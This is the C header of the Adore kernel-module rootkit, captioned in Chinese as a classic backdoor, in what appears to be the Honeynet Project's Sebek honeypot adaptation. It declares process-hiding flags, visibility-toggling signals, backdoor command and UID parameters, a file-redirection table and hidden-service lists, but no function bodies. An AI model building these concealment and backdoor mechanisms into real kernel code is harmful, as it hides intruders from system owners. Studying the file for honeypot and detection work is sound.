adore.h

一款经典的lkm后门

//--------------------------------------------------------------------
//----- $Header: /home/cvsroot/sebek/adore/adore.h,v 1.10 2002/09/08 22:48:57 cvs Exp $
//--------------------------------------------------------------------
/*
 * Copyright (C) 1999/2000 Stealth.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by Stealth.
 * 4. The name Stealth may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 * Copyright (C) 2001/2002 The Honeynet Project.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by The Honeynet Project.
 * 4. The name "The Honeynet Project" may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */


#ifndef __ADORE_H__
#define __ADORE_H__
#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/time.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/devfs_fs_kernel.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <sys/syscall.h>
#include <linux/dcache.h>
#include <linux/dirent.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/smp_lock.h>
#include <linux/capability.h>
#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/sched.h>
#include <linux/tty.h>



/* To hide promisc flag */
#define IFF_INVISIBLE 0x1	
#define IFF_HACKED    0x2

/* to hide a pid */
#define PF_INVISIBLE 0x1000000

/* to check whether request is legal */
#define PF_AUTH ((PF_INVISIBLE)<<1)

/* used to set flags of task-struct to
 * PF_INVISIBLE and back
 */
/* whenever you change this, don't forget to do so
 * in libinvisible too!!!
 */
#define SIGINVISIBLE 100
#define SIGVISIBLE   101
#define SIGREMOVE    102

/* The ioctl special-command */
#ifndef ELITE_CMD
#error "No ELITE_CMD given!"
#endif

#ifndef ELITE_UID
#error "No ELITE_UID given!"
#endif

#ifndef ADORE_KEY
#error "No ADORE_KEY given!"
#endif

#define ADORE_VERSION CURRENT_ADORE


#define BUFLEN  512
#define RINGLEN 5000000 
#define SEBEK_MAJOR 13	               //----- Device Major number


/* Very old kernels don't have an equivalent macro... */
#define LinuxVersionCode(v, p, s) (((v)<<16)+((p)<<8)+(s))


/* For full pathname resolve functions (fp_get, fp_put).
 */
struct pathname {
    char    *buf;
    size_t  buflen;
};

/* Data structure to hold file redirection info
 */
struct redirfile {
    char *requested;
    char *redirected;
};

/* BEGIN CHANGE SECTION */

struct redirfile redir[] = {
/*	{ "/bin/ls", "/tmp/ls" },*/
	{ "/tmp/1", "/tmp/2" },
	{ NULL, NULL }
};


char *HIDDEN_SERVICES[] = 
//	{":hell", ":2222", NULL};
	{NULL};

/* END CHANGE SECTION */

/* assigned by init_module */
struct task_struct *init_hook = NULL;

/* own version. kernel's doesn't work in modules */
#undef for_each_task
#define for_each_task(p) for (p = init_hook; (p = p->next_task) != init_hook;)

#ifdef __NR_getdents64

struct linux_dirent64 {
        u64             d_ino;
        s64             d_off;
        unsigned short  d_reclen;
        unsigned char   d_type;
        char            d_name[0];
};

long (*o_getdents64)(unsigned int, void *, unsigned int);
#endif


extern struct module * module_list;


int write_to_buffer(char *,int,int);
int cleanup_module();
int hide_process(pid_t);
int remove_process(pid_t);
int unhide_process(pid_t);
int strip_invisible();
int unstrip_invisible();
int is_invisible(pid_t);
int is_secret(struct super_block *, struct dirent *);
int my_atoi(const char *);
struct task_struct *my_find_task(pid_t);
int n_read(unsigned int,char *,size_t);
int fp_get(char *, struct pathname *);
void fp_put(struct pathname *);
int sebek_open(struct inode *inode , struct file *filp);
int sebek_release(struct inode *inode, struct file *filp);
ssize_t sebek_read(struct file *filp, char* buff, size_t count, loff_t *f_pos);


struct semaphore sem;
int d_start;
int d_end;
int d_sz;
int pid;

char sebek_buffer[RINGLEN];


struct file_operations sebek_fop = {
  read:     sebek_read,
  open:     sebek_open,
  release:  sebek_release,
  owner:    THIS_MODULE
};




#endif /* __ADORE_H__ */